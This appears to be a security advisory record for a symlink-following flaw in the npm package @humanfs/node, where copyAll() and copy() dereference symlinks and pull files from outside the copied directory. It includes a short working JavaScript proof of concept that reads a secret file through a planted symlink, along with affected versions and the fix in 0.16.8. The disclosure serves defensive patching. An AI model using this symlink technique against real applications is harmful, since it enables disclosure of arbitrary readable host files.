humanfs: Recursive copy follows symlinked files and copies data from outside the source tree
Key facts
- Attack vector
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- Privileges required
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- User interaction
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- Attack complexity
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- Impact type
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- Confidentiality · integrity · availability
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- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
### Summary `@humanfs/node` does not treat symlinks as a separate case during copy operations. A symlink placed inside an attacker-controlled source tree can make `copyAll()` read and copy the contents of any file readable by the process, even when that file is outside the directory being copied. ### Details The Node implementation exposes symlink state through `list()`, but `copyAll()` ignores it. During recursive copies, every non-directory entry is passed to `copy()`, which delegates to `fs.promises.copyFile()`. On Node, `copyFile()` dereferences symlinks. As a result, a symlink inside the copied tree is handled as if it were an ordinary file, and the destination receives the contents of the symlink target rather than a copy of the link itself. That breaks the expected boundary of a directory copy. A caller can point `copyAll()` at a seemingly self-contained directory and still end up copying data from elsewhere on the host filesystem if the source tree contains attacker-supplied symlinks. The same dereference behavior also affects `copy()` when the source path itself is a symlink. ### PoC ```js import { NodeHfs } from "@humanfs/node"; import fs from "node:fs/promises"; import path from "node:path"; import os from "node:os"; const root = await fs.mkdtemp(path.join(os.tmpdir(), "humanfs-")); const src = path.join(root, "src"); const dst = path.join(root, "dst"); const secret = path.join(root, "secret.txt"); await fs.mkdir(src); await fs.writeFile(secret, "TOPSECRET"); await fs.symlink(secret, path.join(src, "link.txt")); const hfs = new NodeHfs(); await hfs.copyAll(src, dst); console.log(await fs.readFile(path.join(dst, "link.txt"), "utf8")); // TOPSECRET ``` ### Impact If an application uses `copyAll()` or `copy()` on attacker-controlled paths, a symlink can be used to pull arbitrary readable host files into the copied output. In practice, that can turn a normal workspace copy, export, or packaging step into a file disclosure primitive.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | @humanfs/node (npm) | before 0.16.8 | 0.16.8 | Patch available | GHSA-p498-v437-472g |
- @humanfs/node (npm) Vendor— Affected before 0.16.8 Fixed in 0.16.8 Patch available GHSA-p498-v437-472g
Remediation
- Fix · GHSA-p498-v437-472g @humanfs/node (npm) Fixed in 0.16.8 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-p498-v437-472g
References
Sources
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